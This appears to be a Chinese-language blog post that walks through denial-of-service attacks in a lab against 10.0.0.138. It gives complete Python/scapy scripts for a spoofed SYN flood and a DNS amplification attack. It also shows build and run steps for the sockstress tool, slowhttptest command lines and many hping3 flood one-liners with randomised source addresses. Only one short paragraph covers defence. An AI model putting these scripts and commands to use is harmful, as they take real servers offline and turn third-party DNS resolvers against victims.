拒绝服务攻击

一、SYN FLOOD攻击(消耗连接数)

1、介绍

SYN Flood (SYN洪水) 是种典型的DoS (Denial of Service,拒绝服务) 攻击。效果就是服务器TCP连接资源耗尽,停止响应正常的TCP连接请求。

2、py脚本代码

import socket, random, sys, threading
from scapy.all import *
from time import sleep
 
if len(sys.argv) != 3:
    print "Usage: %s <Target IP> <Port>" % sys.argv[0]
    sys.exit(1)
 
target = sys.argv[1]
port = int(sys.argv[2])
 
total = 0
conf.iface='en1';#network card XD
 
class sendSYN(threading.Thread):
    global target, port
    def __init__(self):
        threading.Thread.__init__(self)
    def run(self):
        i = IP()
        i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
        i.dst = target
 
        t = TCP()
        t.sport = random.randint(1,65535)
        t.dport = port
        t.flags = 'S'
 
        send(i/t, verbose=0)
 
print "Flooding %s:%i with SYN packets." % (target, port)
while 1:
    sendSYN().start()
    total += 1
    sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total)
syn_flood

3、使用

root@kali:/zd# python syn_flood.py   10.0.0.138 80 

  

 

二、Sockstress(消耗资源,cpu、内存等)

1、介绍

SockStress攻击正好与Syn-Flood攻击原理相悖,它正是利用建立TCP/IP三次握手连接来实现拒绝服务攻击,而且与Syn-Flood不同它并非通过耗尽服务器的TCP连接数来让正常用户的正常请求无法响应,而是直接耗尽服务端的内存、CPU等资源让受害者宕机,属于非对称的资源消耗攻击,这种攻击方式的危害性极大,而且一旦遭受分布式攻击是几乎不能被抵御的。

2、原理

1.首先,攻击者大量请求建立三次握手连接
2.成功建立ESTABLISHED之后,攻击者会将数据包中window的值置为0(window的意思代表client这边一次可以接受的数据大小,置为0之后表示client没有window来接受server发来的数据,然后server就会分配内存来维持TCP连接直到client有空闲的window与之通信),然而攻击者可不会维持什么连接,他只会不断的请求TCP连接耗尽server的资源
3.当server这端维持连接达到一定数量之后,内存、CPU甚至是SWAP分区都会被耗尽,系统命令不能正常执行,想要恢复server唯一的办法就是断网

3、SOCKSTRESS安装

git clone https://github.com/defuse/sockstress.git
cd sockstress/
#编译
gcc  -Wall -c  sockstress.c 
gcc -pthread -o sockstress sockstress.o

  

4、使用sockstress

#配置防火墙规则,对攻击端返回的数据包丢弃
# iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 被攻击端IP -j DROP

root@kali:/zd/sockstress# iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 10.0.0.138 -j DROP
root@kali:/zd/sockstress# ./sockstress 10.0.0.138:22 eth0   #对目标22端口攻击
SOCKSTRESS - CVE-2008-4609 | havoc@defuse.ca
[+] Sending packets from eth0 (10.0.0.132)
[+] Attacking: 10.0.0.138:22...
[+] SENT: syn: 731 ack: 1177 RECV: synack: 719 ack: 458 rst: 0

  

5、Sockstress防护方法

对于SOCKSTRESS这种攻击方式我们可以设置防火墙规则,限制server在一定时间内与同一个IP建立TCP连接的数量,这样即使有大量的连接发过来也不会对server有太大的影响,但是这仅限于DoS,如果是DDoS的话那么就只有升级server的性能了。

 

三、DNS放大攻击

1、介绍

通过向一系列无辜的第三方DNS服务器发送大量的查询请求(小的和欺骗性的询问信息),这些查询请求数据包中的源IP地址为被攻击主机的IP地址,DNS服务器将大量的查询结果发送给被攻击主机,使被攻击主机所在的网络拥塞或拒绝服务。

流量放大:约3~8倍

2、python脚本代码

 

#coding:utf-8
from scapy import *
from scapy.all import *
import sys
import threading

if len(sys.argv) != 3:
    print "Usage: %s <攻击IP> <dnsIP> " % sys.argv[0] 
    sys.exit(1)

srcip = sys.argv[1]  #攻击的ip
dstip = sys.argv[2]  #dns的ip

class SendDNS(threading.Thread):
    global srcip,dstip
    def __init__(self):
        threading.Thread.__init__(self)
    def run(self):
        i = IP(dst=dstip,src=srcip) #srcip为伪造的源ip
        u = UDP(dport=53)
        d = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
        d.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
        p = i/u/d
        send(p,verbose=0)

if __name__ == "__main__":
    print "开始发起dns放大攻击,攻击IP:%s"%srcip 
    total = 0
    while 1:
        SendDNS().start()
        total += 1
        sys.stdout.write("\r number:\t\t\t%i"%total)
dns放大攻击

 

3、使用例子

#用tcpdump抓包
root@kali:~# tcpdump  udp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

#运行攻击脚本
root@kali:/zd/dns# python dns.py  10.0.0.132 8.8.8.8 
开始发起dns放大攻击,攻击IP:10.0.0.132
 number:			143

#查看tcpdump的终端界面

  

 

四、slowhttptest(连接数)

1、介绍

slowhttptest 是一个依赖于实际 HTTP 协议的 Slow HTTP DoS 攻击工具,它的设计原理是要求服务器所有请求被完全接收后再进行处理。
slowhttptest 是一个可配置的应用层拒绝服务攻击测试攻击,它可以工作在 Linux,OSX 和 Cygwin 环境以及 Windows 命令行接口,可以帮助安全测试人员检验服务器对慢速攻击的处理能力。
这个工具可以模拟低带宽耗费下的 DoS 攻击,比如慢速攻击,慢速 HTTP POST,通过并发连接池进行的慢速读攻击(基于TCP持久时间)等。慢速攻击基于HTTP协议,通过精心的设计和构造,这种特殊的请求包会造成服务器延时,而当服务器负载能力消耗过大即会导致拒绝服务。
攻击特点:
低宽带应用层dos攻击
耗尽对方的并发连接数,类似http的syn flood攻击
HTTP协议默认在服务器全部接受请求之后才开始处理,若客户端发送缓慢或不完整,服务器始终为其保留连接资源池的占用。此类大量并发将导致dos

 

2、安装

git clone https://github.com/shekyan/slowhttptest.git
cd slowhttptest-master
./configure --prefix=/usr/local/slowhttptest
make && make install 
ln -s  /usr/local/slowhttptest/bin/slowhttptest   /usr/local/bin/slowhttptest

  

3、常用参数

—a 开始开始值范围说明符用于范围头测试
-b 将字节限制的范围说明符用于范围头测试
-c 连接数限制为65539
-d proxy host:port 用于指导所有流量通过web代理
-e proxy host:port 端口用于指导只有探针交通通过web代理
-h,B,R或x 指定减缓在头部分或在消息体,-R 允许范围检验,使慢读测试-x
-g 生成统计数据在CSV和HTML格式,模式是缓慢的xxx。csv / html,其中xxx是时间和日期
-i seconds 秒间隔跟踪数据在几秒钟内,每个连接
-k 管道因子次数重复请求在同一连接慢读测试如果服务器支持HTTP管道内衬。
-l 在几秒钟内,持续测试时间
-n 秒间隔从接收缓冲区读取操作
-o 文件定义输出文件路径和/或名称,如果指定有效-g
-p 秒超时等待HTTP响应在探头连接后,服务器被认为是不可访问的
-r seconds 连接速度
-s 字节值的内容长度标题详细说明,如果指定-b
-t verb 自定义
-u URL 目标URL,相同的格式键入浏览器,e.g: https://host[:port]/
-v level 冗长等级0 -4的日志
-w 字节范围广告的窗口大小会选择从
-x 字节最大长度的跟踪数据结束
-y 字节范围广告的窗口大小会选择从
-z 字节从接收缓冲区读取字节与单一的 read() 操作

  

4、使用

#HTTP Post请求
#HTTP头content-lenght申明长度,但body部分缓慢发送
slowhttptest -c 1000 -B -g -o body_stats -i 110 -r 200 -s 8192 -t FAKEVERB  -u http://10.0.0.138  -x 10 -p 3 


#slowloris请求
#Slowloris:完整的http请求借我是\r\n\r\n
#支持代理
slowhttptest -c 1000 -H -g -o header_stats -i 10 -r 200 -t GET -u http://10.0.0.138 -x 24 -p 3

#使用代理
slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://10.0.0.138 -p 5 -l 350 -e 代理IP:端口

  

 

 五、hping3(综合flood攻击)

1、介绍

 hping3,它支持TCP,UDP,ICMP和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

 

2、常用参数

#全局选项
-I 	 指定所使用的网卡接口
-c 	 指定发包个数
--fast 	 指定发包速率,每秒10个
--faster 指定发包速率,每秒100个
--flood	 指定发包速率,尽可能按最快速度发,不用回应
-E 	 从指定的文件中读取数据
-e	 增加签名,相当于连接'密码'
-B 	 启用安全协议
-T	 启用路由跟踪模式
-d 	 指定data数据大小,默认为0
-V 	 显示发包的详细过程

#指定发包模式 [默认走的tcp模式]
-0  原始ip模式,即RAWSOCKET
-1  icmp模式
-2  udp模式
-8  扫描模式
-9  被动监听模式,可用于正向shell连接


#ip配置选项:
-a		         伪造源ip
--rand-dest 	使用随机目的地址
--rand-source	使用随机源地址
-t		指定ttl值,默认为64
-f 		使用分片发送

#icmp配置选项
-C 指定icmp类型

#udp/tcp配置选项
-s 使用指定的源端口,默认是随机的
-p 指定目的端口
-w 指定数据包大小,默认为64
-F 使用FIN标志
-S 使用SYN标志
-R 使用RST标志
-A 使用ACK标志
-U 使用RUG标志
-P 使用PUSH标志

  

3、使用(被攻击的ip为10.0.0.138)

#伪造各种源信息对目标进行探测(伪造成8.8.8.8)
hping3 -1 --fast -t 128 -a 8.8.8.8  10.0.0.138 -c 100

#指定目标tcp端口范围进行扫描
hping3 -8 70-5500 -S 10.0.0.138  -a 8.8.8.8

#syn flood攻击
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 10.0.0.138
hping3 -S -P -U -p 80 --flood --rand-source 10.0.0.138

#tcp flood攻击
hping3 -p 80 --flood 10.0.0.138 --rand-source 
hping3 -SARFUP -p 80 --flood --rand-source 10.0.0.138


#ICMP Flood攻击
hping3 -1 --flood 10.0.0.138 --rand-source	

#syn ack flood攻击
hping3 -p 80 -S -A --flood 10.0.0.138 --rand-source

#udp flood攻击
hping3 -2 --flood 10.0.0.138 --rand-source

  

 

posted @ 2019-04-11 09:18  巽逸  阅读(432)  评论(0)    收藏  举报